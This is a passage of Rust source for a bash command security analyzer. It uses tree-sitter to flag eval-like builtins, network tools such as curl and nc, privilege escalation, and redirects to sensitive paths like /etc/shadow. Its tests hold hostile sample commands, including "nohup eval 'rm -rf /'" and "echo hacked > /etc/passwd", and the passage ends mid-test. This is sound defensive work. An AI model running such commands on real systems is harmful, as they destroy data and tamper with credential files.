1use std::sync::LazyLock;
8use std::time::{Duration, Instant};
9
10const EVAL_LIKE_BUILTINS: &[&str] = &[
14 "eval",
15 "source",
16 ".", "exec",
18 "command",
19 "builtin",
20 "fc",
21 "coproc",
22 "noglob",
23 "nocorrect",
24 "trap",
25 "enable",
26 "mapfile",
27 "readarray",
28 "hash",
29 "bind",
30 "complete",
31 "compgen",
32];
33
34const ZSH_DANGEROUS_BUILTINS: &[&str] = &[
36 "zmodload", "emulate", "sysopen", "sysread", "syswrite", "sysseek", "zpty", "ztcp", "zsocket",
37 "zf_rm", "zf_mv", "zf_ln", "zf_chmod", "zf_chown", "zf_mkdir", "zf_rmdir", "zf_chgrp",
38];
39
40const WRAPPER_COMMANDS: &[&str] = &["time", "nohup", "timeout", "nice", "stdbuf", "env"];
42
43const NETWORK_COMMANDS: &[&str] = &["curl", "wget", "nc", "ncat", "socat", "ssh", "scp", "rsync"];
45
46const PRIVILEGE_ESCALATION_COMMANDS: &[&str] = &["sudo", "su", "doas", "run0", "pkexec"];
48
49const PERMISSION_MODIFICATION_COMMANDS: &[&str] = &["chmod", "chown", "chgrp", "chattr"];
51
52const SENSITIVE_REDIRECT_PATHS: &[&str] = &[
54 "/etc/passwd",
55 "/etc/shadow",
56 "/etc/sudoers",
57 "/boot/",
58 "/dev/sd",
59 "/dev/hd",
60 "/dev/nvme",
61 "/dev/mmcblk",
62 "/dev/null",
63 "/dev/zero",
64 "/dev/random",
65 "/dev/urandom",
66 "/dev/mem",
67 "/dev/kmem",
68 "/dev/port",
69 "/proc/sys",
70 "/sys/",
71 "/usr/bin/",
72 "/usr/local/bin/",
73 "/bin/",
74 "/sbin/",
75 "/lib/",
76 "/lib64/",
77 "/usr/lib/",
78 "/usr/lib64/",
79];
80
81const CODE_EXECUTION_COMMANDS: &[&str] = &["python", "python3", "perl", "ruby", "node", "nodejs"];
83
84const SHELL_COMMANDS: &[&str] = &["sh", "bash", "zsh", "dash", "ksh", "fish"];
86
87const EXEC_COMMANDS: &[&str] = &["find", "xargs"];
89
90const ANALYSIS_TIMEOUT_MS: u64 = 50;
92
93const MAX_NODE_COUNT: usize = 50_000;
95
96static PARSER: LazyLock<std::sync::Mutex<tree_sitter::Parser>> = LazyLock::new(|| {
99 let mut parser = tree_sitter::Parser::new();
100 parser
101 .set_language(&tree_sitter_bash::LANGUAGE.into())
102 .expect("failed to set bash language");
103 std::sync::Mutex::new(parser)
104});
105
106#[derive(Debug, Clone)]
110pub struct BashSecurityAnalysis {
111 pub command_name: Option<String>,
113 pub arguments: Vec<String>,
115 pub verdict: BashVerdict,
117 pub warnings: Vec<BashWarning>,
119 pub analysis_time_ms: u64,
121 pub node_count: usize,
123}
124
125#[derive(Debug, Clone, PartialEq)]
126pub enum BashVerdict {
127 Safe,
129 Allow,
131 Deny,
133}
134
135#[derive(Debug, Clone)]
136pub struct BashWarning {
137 pub kind: BashWarningKind,
138 pub detail: String,
139}
140
141#[derive(Debug, Clone, PartialEq)]
142pub enum BashWarningKind {
143 EvalLikeBuiltin,
145 ZshDangerous,
147 CommandSubstitution,
149 ParameterExpansion,
151 ComplexConstruct,
153 ControlFlow,
155 Heredoc,
157 BraceExpansion,
159 ProcessSubstitution,
161 AnsiCString,
163 ShellOperators,
165 UnknownNodeType(String),
167 ParseFailed,
169 VariableAsCommand,
171 SuspiciousArguments,
173 RedirectToSensitivePath,
175 AnalysisBudgetExceeded,
177 NetworkCommand,
179 PrivilegeEscalation,
181 PermissionModification,
183 HeredocExpansion,
185}
186
187impl BashSecurityAnalysis {
188 pub fn is_dangerous(&self) -> bool {
189 !matches!(self.verdict, BashVerdict::Safe)
190 }
191
192 pub fn summary(&self) -> String {
193 if self.warnings.is_empty() {
194 "safe".to_string()
195 } else {
196 self.warnings
197 .iter()
198 .map(|w| format!("{:?}: {}", w.kind, w.detail))
199 .collect::<Vec<_>>()
200 .join("; ")
201 }
202 }
203}
204
205pub fn analyze_command(command: &str) -> BashSecurityAnalysis {
209 let start_time = Instant::now();
210 let mut warnings = Vec::new();
211 let mut node_count = 0usize;
212
213 let timeout = Duration::from_millis(ANALYSIS_TIMEOUT_MS);
214
215 if let Some(w) = pre_parse_checks(command) {
217 warnings.push(w);
218 }
219
220 let tree = {
222 let mut parser = match PARSER.lock() {
223 Ok(p) => p,
224 Err(_) => {
225 warnings.push(BashWarning {
226 kind: BashWarningKind::ParseFailed,
227 detail: "parser lock poisoned".to_string(),
228 });
229 return BashSecurityAnalysis {
230 command_name: None,
231 arguments: vec![],
232 verdict: BashVerdict::Deny,
233 warnings,
234 analysis_time_ms: 0,
235 node_count: 0,
236 };
237 }
238 };
239 parser.parse(command, None)
240 };
241
242 let Some(tree) = tree else {
243 warnings.push(BashWarning {
244 kind: BashWarningKind::ParseFailed,
245 detail: "tree-sitter failed to parse command".to_string(),
246 });
247 return BashSecurityAnalysis {
248 command_name: extract_command_name_fallback(command),
249 arguments: vec![],
250 verdict: BashVerdict::Deny,
251 warnings,
252 analysis_time_ms: start_time.elapsed().as_millis() as u64,
253 node_count: 0,
254 };
255 };
256
257 let root = tree.root_node();
259 walk_node_with_budget(&root, command, &mut warnings, &mut node_count);
260
261 if node_count > MAX_NODE_COUNT {
262 warnings.push(BashWarning {
263 kind: BashWarningKind::AnalysisBudgetExceeded,
264 detail: format!(
265 "AST node count {} exceeded budget {}",
266 node_count, MAX_NODE_COUNT
267 ),
268 });
269 let elapsed = start_time.elapsed().as_millis() as u64;
270 return BashSecurityAnalysis {
271 command_name: None,
272 arguments: vec![],
273 verdict: BashVerdict::Deny,
274 warnings,
275 analysis_time_ms: elapsed,
276 node_count,
277 };
278 }
279
280 let (cmd_name, args) = extract_and_strip_command(&root, command);
282
283 if let Some(ref name) = cmd_name {
285 let name_lower = name.to_ascii_lowercase();
286
287 if EVAL_LIKE_BUILTINS.iter().any(|b| *b == name_lower) {
288 warnings.push(BashWarning {
289 kind: BashWarningKind::EvalLikeBuiltin,
290 detail: format!(
291 "command '{}' is an eval-like builtin that can execute arbitrary code",
292 name
293 ),
294 });
295 }
296
297 if ZSH_DANGEROUS_BUILTINS.iter().any(|b| *b == name_lower) {
298 warnings.push(BashWarning {
299 kind: BashWarningKind::ZshDangerous,
300 detail: format!("command '{}' is a dangerous zsh builtin", name),
301 });
302 }
303 }
304
305 if start_time.elapsed() > timeout {
307 warnings.push(BashWarning {
308 kind: BashWarningKind::AnalysisBudgetExceeded,
309 detail: "analysis timeout before Phase 2 validators".to_string(),
310 });
311 let elapsed = start_time.elapsed().as_millis() as u64;
312 return BashSecurityAnalysis {
313 command_name: cmd_name,
314 arguments: args,
315 verdict: BashVerdict::Deny,
316 warnings,
317 analysis_time_ms: elapsed,
318 node_count,
319 };
320 }
321
322 warnings.extend(check_redirects(&tree, command));
324 warnings.extend(check_variable_command(&tree));
325 warnings.extend(check_suspicious_arguments(&tree, command));
326
327 if start_time.elapsed() > timeout {
328 warnings.push(BashWarning {
329 kind: BashWarningKind::AnalysisBudgetExceeded,
330 detail: "analysis timeout after argument checks".to_string(),
331 });
332 let elapsed = start_time.elapsed().as_millis() as u64;
333 return BashSecurityAnalysis {
334 command_name: cmd_name.clone(),
335 arguments: args.clone(),
336 verdict: BashVerdict::Deny,
337 warnings,
338 analysis_time_ms: elapsed,
339 node_count,
340 };
341 }
342
343 if let Some(ref name) = cmd_name {
344 let name_lower = name.to_ascii_lowercase();
345 warnings.extend(check_network_commands(&name_lower));
346 warnings.extend(check_privilege_escalation(&name_lower));
347 warnings.extend(check_permission_modification(&name_lower, &args));
348 }
349
350 warnings.extend(check_heredoc_expansions(&tree, command));
351
352 let verdict = determine_verdict(&warnings);
354 let elapsed = start_time.elapsed().as_millis() as u64;
355
356 BashSecurityAnalysis {
357 command_name: cmd_name,
358 arguments: args,
359 verdict,
360 warnings,
361 analysis_time_ms: elapsed,
362 node_count,
363 }
364}
365
366fn pre_parse_checks(command: &str) -> Option<BashWarning> {
369 let has_control = command
371 .bytes()
372 .any(|b| matches!(b, 0x00..=0x08 | 0x0B..=0x0C | 0x0E..=0x1F | 0x7F));
373 if has_control {
374 return Some(BashWarning {
375 kind: BashWarningKind::ParseFailed,
376 detail: "command contains control characters".to_string(),
377 });
378 }
379
380 None
381}
382
383fn walk_node_with_budget(
386 node: &tree_sitter::Node,
387 source: &str,
388 warnings: &mut Vec<BashWarning>,
389 node_count: &mut usize,
390) {
391 let kind = node.kind();
392 *node_count += 1;
393
394 if node.child_count() == 0 {
396 return;
397 }
398
399 match kind {
400 "program"
402 | "list"
403 | "pipeline"
404 | "redirected_statement"
405 | "command"
406 | "command_name"
407 | "concatenation"
408 | "variable_assignment"
409 | "declaration_command"
410 | "file_redirect" => {
411 for i in 0..node.child_count() {
412 if let Some(child) = node.child(i as u32) {
413 walk_node_with_budget(&child, source, warnings, node_count);
414 }
415 }
416 }
417
418 "command_substitution" => {
420 let text = node_text(node, source);
421 warnings.push(BashWarning {
422 kind: BashWarningKind::CommandSubstitution,
423 detail: format!("command substitution: {}", truncate(&text, 60)),
424 });
425 }
426
427 "expansion" => {
428 let text = node_text(node, source);
429 warnings.push(BashWarning {
430 kind: BashWarningKind::ParameterExpansion,
431 detail: format!("parameter expansion: {}", truncate(&text, 60)),
432 });
433 }
434
435 "process_substitution" => {
436 let text = node_text(node, source);
437 warnings.push(BashWarning {
438 kind: BashWarningKind::ProcessSubstitution,
439 detail: format!("process substitution: {}", truncate(&text, 60)),
440 });
441 }
442
443 "subshell" => {
444 warnings.push(BashWarning {
445 kind: BashWarningKind::ComplexConstruct,
446 detail: "subshell ( ... )".to_string(),
447 });
448 for i in 0..node.child_count() {
449 if let Some(child) = node.child(i as u32) {
450 walk_node_with_budget(&child, source, warnings, node_count);
451 }
452 }
453 }
454
455 "compound_statement" => {
456 warnings.push(BashWarning {
457 kind: BashWarningKind::ComplexConstruct,
458 detail: "compound statement { ... }".to_string(),
459 });
460 for i in 0..node.child_count() {
461 if let Some(child) = node.child(i as u32) {
462 walk_node_with_budget(&child, source, warnings, node_count);
463 }
464 }
465 }
466
467 "function_definition" => {
468 warnings.push(BashWarning {
469 kind: BashWarningKind::ComplexConstruct,
470 detail: "function definition".to_string(),
471 });
472 for i in 0..node.child_count() {
473 if let Some(child) = node.child(i as u32) {
474 walk_node_with_budget(&child, source, warnings, node_count);
475 }
476 }
477 }
478
479 "if_statement" | "for_statement" | "while_statement" | "until_statement"
481 | "case_statement" => {
482 warnings.push(BashWarning {
483 kind: BashWarningKind::ControlFlow,
484 detail: format!("control flow: {}", kind),
485 });
486 for i in 0..node.child_count() {
487 if let Some(child) = node.child(i as u32) {
488 walk_node_with_budget(&child, source, warnings, node_count);
489 }
490 }
491 }
492
493 "heredoc_redirect" | "herestring_redirect" => {
494 warnings.push(BashWarning {
495 kind: BashWarningKind::Heredoc,
496 detail: kind.to_string(),
497 });
498 }
499
500 "brace_expression" => {
501 let text = node_text(node, source);
502 warnings.push(BashWarning {
503 kind: BashWarningKind::BraceExpansion,
504 detail: format!("brace expansion: {}", truncate(&text, 40)),
505 });
506 }
507
508 "ansi_c_string" => {
509 let text = node_text(node, source);
510 warnings.push(BashWarning {
511 kind: BashWarningKind::AnsiCString,
512 detail: format!("ansi-c string: {}", truncate(&text, 40)),
513 });
514 }
515
516 "word"
518 | "string"
519 | "raw_string"
520 | "simple_expansion"
521 | "number"
522 | "special_variable_name"
523 | "environment_variable"
524 | "test_operator"
525 | "unsetting_command"
526 | "heredoc_body"
527 | "heredoc_start"
528 | "heredoc_end" => {}
529
530 _ => {
532 if !kind.starts_with('.') && !kind.starts_with('\n') {
534 warnings.push(BashWarning {
535 kind: BashWarningKind::UnknownNodeType(kind.to_string()),
536 detail: format!("unknown AST node type: {}", kind),
537 });
538 }
539 }
540 }
541}
542
543fn extract_and_strip_command(
546 root: &tree_sitter::Node,
547 source: &str,
548) -> (Option<String>, Vec<String>) {
549 let commands = collect_commands(root, source);
550 let Some((name, args)) = commands.first() else {
551 return (extract_command_name_fallback(source), vec![]);
552 };
553
554 let stripped = strip_wrappers(name.as_str(), args);
556 (Some(stripped.0.to_string()), stripped.1.to_vec())
557}
558
559fn collect_commands(node: &tree_sitter::Node, source: &str) -> Vec<(String, Vec<String>)> {
560 let mut commands = Vec::new();
561 collect_commands_recursive(node, source, &mut commands);
562 if commands.is_empty() {
563 if let Some(fallback) = extract_command_name_fallback(source) {
564 commands.push((fallback, vec![]));
565 }
566 }
567 commands
568}
569
570fn collect_commands_recursive(
571 node: &tree_sitter::Node,
572 source: &str,
573 commands: &mut Vec<(String, Vec<String>)>,
574) {
575 match node.kind() {
576 "command" => {
577 if let Some(cmd) = extract_command_from_node(node, source) {
578 commands.push(cmd);
579 }
580 }
581 "program"
582 | "list"
583 | "pipeline"
584 | "redirected_statement"
585 | "subshell"
586 | "compound_statement"
587 | "if_statement"
588 | "for_statement"
589 | "while_statement"
590 | "until_statement"
591 | "case_statement"
592 | "function_definition" => {
593 for i in 0..node.child_count() {
594 if let Some(child) = node.child(i as u32) {
595 collect_commands_recursive(&child, source, commands);
596 }
597 }
598 }
599 _ => {}
600 }
601}
602
603fn extract_command_from_node(
604 node: &tree_sitter::Node,
605 source: &str,
606) -> Option<(String, Vec<String>)> {
607 let mut name: Option<String> = None;
608 let mut args: Vec<String> = Vec::new();
609
610 for i in 0..node.child_count() {
611 let child = node.child(i as u32)?;
612 match child.kind() {
613 "command_name" => {
614 name = Some(node_text(&child, source));
615 }
616 "word" | "string" | "raw_string" | "number" | "simple_expansion" | "concatenation"
617 | "expansion" => {
618 let text = node_text(&child, source);
619 if !text.is_empty() {
620 args.push(text);
621 }
622 }
623 _ => {}
624 }
625 }
626
627 name.map(|n| (n, args))
628}
629
630fn strip_wrappers<'a>(name: &'a str, args: &'a [String]) -> (&'a str, &'a [String]) {
632 if !WRAPPER_COMMANDS.contains(&name.to_ascii_lowercase().as_str()) {
633 return (name, args);
634 }
635
636 match name {
637 "time" | "nohup" => {
638 if args.is_empty() {
640 return (name, args);
641 }
642 strip_wrappers(&args[0], &args[1..])
643 }
644 "timeout" => {
645 let mut i = 0;
648 while i < args.len() {
649 let arg = &args[i];
650 if arg.starts_with("--kill-after") || arg.starts_with("--signal") {
651 if !arg.contains('=') {
653 i += 1; }
655 } else if arg.starts_with('-') && arg != "-foreground" {
656 if arg == "-k" || arg == "-s" {
658 i += 1; }
660 } else {
661 i += 1;
663 break;
664 }
665 i += 1;
666 }
667 if i < args.len() {
668 strip_wrappers(&args[i], &args[i + 1..])
669 } else {
670 (name, args)
671 }
672 }
673 "nice" => {
674 if args.len() >= 2 && (args[0] == "-n" && args[1].parse::<i32>().is_ok()) {
676 strip_wrappers(&args[2], &args[3..])
677 } else if !args.is_empty()
678 && args[0].starts_with('-')
679 && args[0].len() > 1
680 && args[0][1..].parse::<i32>().is_ok()
681 {
682 strip_wrappers(&args[1], &args[2..])
683 } else {
684 strip_wrappers(
685 args.first().map(|s| s.as_str()).unwrap_or(name),
686 args.get(1..).unwrap_or(args),
687 )
688 }
689 }
690 "stdbuf" | "env" => {
691 let mut i = 0;
693 while i < args.len() {
694 let arg = &args[i];
695 if arg.contains('=') {
696 } else if arg.starts_with('-') {
698 if arg == "-i" || arg == "-0" || arg == "-v" {
700 } else if arg == "-u" || arg.starts_with("-o") || arg.starts_with("-e") {
702 if !arg.contains('0') && !arg.contains('1') {
704 i += 1; }
706 }
707 } else {
708 return strip_wrappers(arg, &args[i + 1..]);
710 }
711 i += 1;
712 }
713 (name, args)
714 }
715 _ => (name, args),
716 }
717}
718
719fn extract_command_name_fallback(command: &str) -> Option<String> {
721 command.split_whitespace().next().map(|s| s.to_string())
722}
723
724fn determine_verdict(warnings: &[BashWarning]) -> BashVerdict {
727 let has_eval = warnings
728 .iter()
729 .any(|w| w.kind == BashWarningKind::EvalLikeBuiltin);
730 let has_zsh = warnings
731 .iter()
732 .any(|w| w.kind == BashWarningKind::ZshDangerous);
733 let has_parse_fail = warnings
734 .iter()
735 .any(|w| w.kind == BashWarningKind::ParseFailed);
736 let has_unknown = warnings
737 .iter()
738 .any(|w| matches!(w.kind, BashWarningKind::UnknownNodeType(_)));
739 let has_budget_exceeded = warnings
740 .iter()
741 .any(|w| w.kind == BashWarningKind::AnalysisBudgetExceeded);
742 let has_redirect_sensitive = warnings
743 .iter()
744 .any(|w| w.kind == BashWarningKind::RedirectToSensitivePath);
745 let has_variable_as_command = warnings
746 .iter()
747 .any(|w| w.kind == BashWarningKind::VariableAsCommand);
748
749 if has_eval
752 || has_zsh
753 || has_parse_fail
754 || has_unknown
755 || has_budget_exceeded
756 || has_redirect_sensitive
757 || has_variable_as_command
758 {
759 return BashVerdict::Deny;
760 }
761
762 if !warnings.is_empty() {
764 return BashVerdict::Allow;
765 }
766
767 BashVerdict::Safe
768}
769
770fn node_text(node: &tree_sitter::Node, source: &str) -> String {
773 source[node.byte_range()].to_string()
774}
775
776fn truncate(s: &str, max: usize) -> String {
777 if s.len() <= max {
778 s.to_string()
779 } else {
780 format!("{}...", &s[..max])
781 }
782}
783
784fn check_redirects(tree: &tree_sitter::Tree, source: &str) -> Vec<BashWarning> {
787 let mut warnings = Vec::new();
788 let root = tree.root_node();
789 check_redirects_node(&root, source, &mut warnings);
790 warnings
791}
792
793fn check_redirects_node(node: &tree_sitter::Node, source: &str, warnings: &mut Vec<BashWarning>) {
794 if node.kind() == "file_redirect" {
795 let mut redirect_op: Option<String> = None;
796 let mut target_path: Option<String> = None;
797
798 for i in 0..node.child_count() {
799 if let Some(child) = node.child(i as u32) {
800 let kind = child.kind();
801 let text = node_text(&child, source);
802 if kind == "file_descriptor" || kind == "redirect_operator" {
803 redirect_op = Some(text);
804 } else if kind == "word" || kind == "string" || kind == "raw_string" {
805 target_path = Some(text);
806 }
807 }
808 }
809
810 if let Some(path) = target_path {
811 let path_lower = path.to_ascii_lowercase();
812 let is_sensitive = SENSITIVE_REDIRECT_PATHS
813 .iter()
814 .any(|p| path_lower.starts_with(*p));
815 if is_sensitive {
816 let op = redirect_op.as_deref().unwrap_or(">");
817 let is_overwrite = op.contains('>') && !op.contains(">>");
818 let detail = if is_overwrite {
819 format!("overwrite redirect to sensitive path: {}", path)
820 } else {
821 format!("redirect to sensitive path: {}", path)
822 };
823 warnings.push(BashWarning {
824 kind: BashWarningKind::RedirectToSensitivePath,
825 detail,
826 });
827 }
828 }
829 }
830
831 for i in 0..node.child_count() {
832 if let Some(child) = node.child(i as u32) {
833 check_redirects_node(&child, source, warnings);
834 }
835 }
836}
837
838fn check_variable_command(tree: &tree_sitter::Tree) -> Vec<BashWarning> {
839 let mut warnings = Vec::new();
840 let root = tree.root_node();
841 check_variable_command_node(&root, &mut warnings);
842 warnings
843}
844
845fn check_variable_command_node(node: &tree_sitter::Node, warnings: &mut Vec<BashWarning>) {
846 if node.kind() == "command" {
847 for i in 0..node.child_count() {
848 if let Some(child) = node.child(i as u32) {
849 if child.kind() == "command_name" {
850 for j in 0..child.child_count() {
851 if let Some(name_child) = child.child(j as u32) {
852 let kind = name_child.kind();
853 if kind == "simple_expansion" || kind == "expansion" {
854 warnings.push(BashWarning {
855 kind: BashWarningKind::VariableAsCommand,
856 detail: format!(
857 "command name is a variable expansion: {}",
858 kind
859 ),
860 });
861 }
862 }
863 }
864 }
865 }
866 }
867 }
868
869 for i in 0..node.child_count() {
870 if let Some(child) = node.child(i as u32) {
871 check_variable_command_node(&child, warnings);
872 }
873 }
874}
875
876fn check_suspicious_arguments(tree: &tree_sitter::Tree, source: &str) -> Vec<BashWarning> {
877 let mut warnings = Vec::new();
878 let root = tree.root_node();
879 check_suspicious_arguments_node(&root, source, &mut warnings);
880 warnings
881}
882
883fn check_suspicious_arguments_node(
884 node: &tree_sitter::Node,
885 source: &str,
886 warnings: &mut Vec<BashWarning>,
887) {
888 if node.kind() == "command" {
889 let mut cmd_name: Option<String> = None;
890 let mut args: Vec<String> = Vec::new();
891
892 for i in 0..node.child_count() {
893 if let Some(child) = node.child(i as u32) {
894 match child.kind() {
895 "command_name" => {
896 cmd_name = Some(node_text(&child, source).to_ascii_lowercase());
897 }
898 "word" | "string" | "raw_string" | "number" | "simple_expansion"
899 | "concatenation" | "expansion" => {
900 let text = node_text(&child, source);
901 if !text.is_empty() {
902 args.push(text);
903 }
904 }
905 _ => {}
906 }
907 }
908 }
909
910 if let Some(ref name) = cmd_name {
911 let name_lower = name.as_str();
912 if CODE_EXECUTION_COMMANDS.contains(&name_lower) {
914 for (i, arg) in args.iter().enumerate() {
915 if (arg == "--eval" || arg == "-e" || arg == "-c") && i + 1 < args.len() {
916 warnings.push(BashWarning {
917 kind: BashWarningKind::SuspiciousArguments,
918 detail: format!(
919 "{} {} '{}' may execute arbitrary code",
920 name,
921 arg,
922 args[i + 1]
923 ),
924 });
925 }
926 }
927 }
928
929 if SHELL_COMMANDS.contains(&name_lower) {
931 for (i, arg) in args.iter().enumerate() {
932 if arg == "-c" && i + 1 < args.len() {
933 warnings.push(BashWarning {
934 kind: BashWarningKind::SuspiciousArguments,
935 detail: format!("{} -c '{}' executes shell code", name, args[i + 1]),
936 });
937 }
938 }
939 }
940
941 if EXEC_COMMANDS.contains(&name_lower) {
943 for arg in &args {
944 if arg == "-exec" || arg == "-execdir" {
945 warnings.push(BashWarning {
946 kind: BashWarningKind::SuspiciousArguments,
947 detail: format!("{} with -exec may execute arbitrary commands", name),
948 });
949 }
950 }
951 }
952 }
953 }
954
955 for i in 0..node.child_count() {
956 if let Some(child) = node.child(i as u32) {
957 check_suspicious_arguments_node(&child, source, warnings);
958 }
959 }
960}
961
962fn check_network_commands(command_name: &str) -> Vec<BashWarning> {
963 let mut warnings = Vec::new();
964 if NETWORK_COMMANDS.contains(&command_name) {
965 warnings.push(BashWarning {
966 kind: BashWarningKind::NetworkCommand,
967 detail: format!("network command: {}", command_name),
968 });
969 }
970 warnings
971}
972
973fn check_privilege_escalation(command_name: &str) -> Vec<BashWarning> {
974 let mut warnings = Vec::new();
975 if PRIVILEGE_ESCALATION_COMMANDS.contains(&command_name) {
976 warnings.push(BashWarning {
977 kind: BashWarningKind::PrivilegeEscalation,
978 detail: format!("privilege escalation: {}", command_name),
979 });
980 }
981 warnings
982}
983
984fn check_permission_modification(command_name: &str, args: &[String]) -> Vec<BashWarning> {
985 let mut warnings = Vec::new();
986 if PERMISSION_MODIFICATION_COMMANDS.contains(&command_name) {
987 let has_sensitive_target = args.iter().any(|arg| {
989 let arg_lower = arg.to_ascii_lowercase();
990 SENSITIVE_REDIRECT_PATHS
991 .iter()
992 .any(|p| arg_lower.starts_with(*p))
993 });
994 if has_sensitive_target {
995 warnings.push(BashWarning {
996 kind: BashWarningKind::PermissionModification,
997 detail: format!("{} modifying permissions on sensitive path", command_name),
998 });
999 }
1000 }
1001 warnings
1002}
1003
1004fn check_heredoc_expansions(tree: &tree_sitter::Tree, source: &str) -> Vec<BashWarning> {
1005 let mut warnings = Vec::new();
1006 let root = tree.root_node();
1007 check_heredoc_expansions_node(&root, source, &mut warnings);
1008 warnings
1009}
1010
1011fn check_heredoc_expansions_node(
1012 node: &tree_sitter::Node,
1013 source: &str,
1014 warnings: &mut Vec<BashWarning>,
1015) {
1016 if node.kind() == "heredoc_body" {
1017 let body_text = node_text(node, source);
1018 if body_text.contains("$(") || body_text.contains("`${") || body_text.contains("$`{") {
1019 warnings.push(BashWarning {
1020 kind: BashWarningKind::HeredocExpansion,
1021 detail: "heredoc contains command substitution".to_string(),
1022 });
1023 } else if body_text.contains("${") || body_text.contains("$") {
1024 warnings.push(BashWarning {
1025 kind: BashWarningKind::HeredocExpansion,
1026 detail: "heredoc contains variable expansion".to_string(),
1027 });
1028 }
1029 }
1030
1031 for i in 0..node.child_count() {
1032 if let Some(child) = node.child(i as u32) {
1033 check_heredoc_expansions_node(&child, source, warnings);
1034 }
1035 }
1036}
1037
1038#[cfg(test)]
1039mod tests {
1040 use super::*;
1041
1042 #[test]
1045 fn safe_simple_commands() {
1046 let cases = ["ls -la", "echo hello", "pwd", "cat file.txt", "git status"];
1047 for cmd in cases {
1048 let analysis = analyze_command(cmd);
1049 assert_eq!(
1050 analysis.verdict,
1051 BashVerdict::Safe,
1052 "expected safe: {}",
1053 cmd
1054 );
1055 assert!(
1056 analysis.warnings.is_empty(),
1057 "unexpected warnings for: {}",
1058 cmd
1059 );
1060 }
1061 }
1062
1063 #[test]
1066 fn detects_eval() {
1067 let analysis = analyze_command("eval 'cat /etc/passwd'");
1068 assert_eq!(analysis.verdict, BashVerdict::Deny);
1069 assert!(analysis
1070 .warnings
1071 .iter()
1072 .any(|w| w.kind == BashWarningKind::EvalLikeBuiltin));
1073 assert_eq!(analysis.command_name.as_deref(), Some("eval"));
1074 }
1075
1076 #[test]
1077 fn detects_source() {
1078 let analysis = analyze_command("source malicious.sh");
1079 assert_eq!(analysis.verdict, BashVerdict::Deny);
1080 assert!(analysis
1081 .warnings
1082 .iter()
1083 .any(|w| w.kind == BashWarningKind::EvalLikeBuiltin));
1084 }
1085
1086 #[test]
1087 fn detects_exec() {
1088 let analysis = analyze_command("exec /bin/bash");
1089 assert_eq!(analysis.verdict, BashVerdict::Deny);
1090 assert!(analysis
1091 .warnings
1092 .iter()
1093 .any(|w| w.kind == BashWarningKind::EvalLikeBuiltin));
1094 }
1095
1096 #[test]
1097 fn detects_dot_source() {
1098 let analysis = analyze_command(". ./setup.sh");
1100 assert_eq!(analysis.verdict, BashVerdict::Deny);
1101 }
1102
1103 #[test]
1106 fn detects_zsh_dangerous() {
1107 let analysis = analyze_command("zmodload zsh/system");
1108 assert_eq!(analysis.verdict, BashVerdict::Deny);
1109 assert!(analysis
1110 .warnings
1111 .iter()
1112 .any(|w| w.kind == BashWarningKind::ZshDangerous));
1113 }
1114
1115 #[test]
1118 fn detects_command_substitution() {
1119 let analysis = analyze_command("echo $(whoami)");
1120 assert!(analysis
1121 .warnings
1122 .iter()
1123 .any(|w| w.kind == BashWarningKind::CommandSubstitution));
1124 assert!(analysis.is_dangerous());
1125 }
1126
1127 #[test]
1128 fn detects_backtick_substitution() {
1129 let analysis = analyze_command("echo `whoami`");
1130 assert!(analysis
1131 .warnings
1132 .iter()
1133 .any(|w| w.kind == BashWarningKind::CommandSubstitution));
1134 }
1135
1136 #[test]
1139 fn strips_nohup() {
1140 let analysis = analyze_command("nohup ls -la");
1141 assert_eq!(analysis.command_name.as_deref(), Some("ls"));
1142 }
1143
1144 #[test]
1145 fn strips_timeout() {
1146 let analysis = analyze_command("timeout 5 ls -la");
1147 assert_eq!(analysis.command_name.as_deref(), Some("ls"));
1148 }
1149
1150 #[test]
1151 fn strips_nohup_eval_detects_eval() {
1152 let analysis = analyze_command("nohup eval 'rm -rf /'");
1153 assert_eq!(analysis.verdict, BashVerdict::Deny);
1154 assert_eq!(analysis.command_name.as_deref(), Some("eval"));
1155 assert!(analysis
1156 .warnings
1157 .iter()
1158 .any(|w| w.kind == BashWarningKind::EvalLikeBuiltin));
1159 }
1160
1161 #[test]
1162 fn strips_time() {
1163 let analysis = analyze_command("time npm test");
1164 assert_eq!(analysis.command_name.as_deref(), Some("npm"));
1165 }
1166
1167 #[test]
1170 fn detects_subshell() {
1171 let analysis = analyze_command("(cd /tmp && rm -rf *)");
1172 assert!(analysis
1173 .warnings
1174 .iter()
1175 .any(|w| w.kind == BashWarningKind::ComplexConstruct));
1176 }
1177
1178 #[test]
1179 fn detects_if_statement() {
1180 let analysis = analyze_command("if true; then echo yes; fi");
1181 assert!(analysis
1182 .warnings
1183 .iter()
1184 .any(|w| w.kind == BashWarningKind::ControlFlow));
1185 }
1186
1187 #[test]
1188 fn detects_for_loop() {
1189 let analysis = analyze_command("for i in 1 2 3; do echo $i; done");
1190 assert!(analysis
1191 .warnings
1192 .iter()
1193 .any(|w| w.kind == BashWarningKind::ControlFlow));
1194 }
1195
1196 #[test]
1197 fn detects_function_definition() {
1198 let analysis = analyze_command("foo() { echo bar; }");
1199 assert!(analysis
1200 .warnings
1201 .iter()
1202 .any(|w| w.kind == BashWarningKind::ComplexConstruct));
1203 }
1204
1205 #[test]
1208 fn detects_heredoc() {
1209 let analysis = analyze_command("cat <<EOF\nhello\nEOF");
1210 assert!(analysis
1211 .warnings
1212 .iter()
1213 .any(|w| w.kind == BashWarningKind::Heredoc));
1214 }
1215
1216 #[test]
1219 fn detects_process_substitution() {
1220 let analysis = analyze_command("diff <(ls a) <(ls b)");
1221 assert!(analysis
1222 .warnings
1223 .iter()
1224 .any(|w| w.kind == BashWarningKind::ProcessSubstitution));
1225 }
1226
1227 #[test]
1230 fn detects_brace_expansion() {
1231 let analysis = analyze_command("echo {1..5}");
1232 assert!(analysis
1233 .warnings
1234 .iter()
1235 .any(|w| w.kind == BashWarningKind::BraceExpansion));
1236 }
1237
1238 #[test]
1241 fn safe_command_summary() {
1242 let analysis = analyze_command("ls -la");
1243 assert_eq!(analysis.summary(), "safe");
1244 }
1245
1246 #[test]
1247 fn dangerous_command_summary_contains_detail() {
1248 let analysis = analyze_command("eval 'hello'");
1249 assert!(analysis.summary().contains("EvalLikeBuiltin"));
1250 }
1251
1252 #[test]
1255 fn empty_command_is_safe() {
1256 let analysis = analyze_command("");
1257 assert!(!analysis.is_dangerous() || analysis.command_name.is_none());
1259 }
1260
1261 #[test]
1262 fn control_characters_denied() {
1263 let analysis = analyze_command("echo \x01hello");
1264 assert_eq!(analysis.verdict, BashVerdict::Deny);
1265 }
1266
1267 #[test]
1270 fn test_redirect_to_sensitive_path() {
1271 let analysis = analyze_command("echo hacked > /etc/passwd");
1272 assert_eq!(analysis.verdict, BashVerdict::Deny);
1273 assert!(analysis
1274 .warnings
1275 .iter()
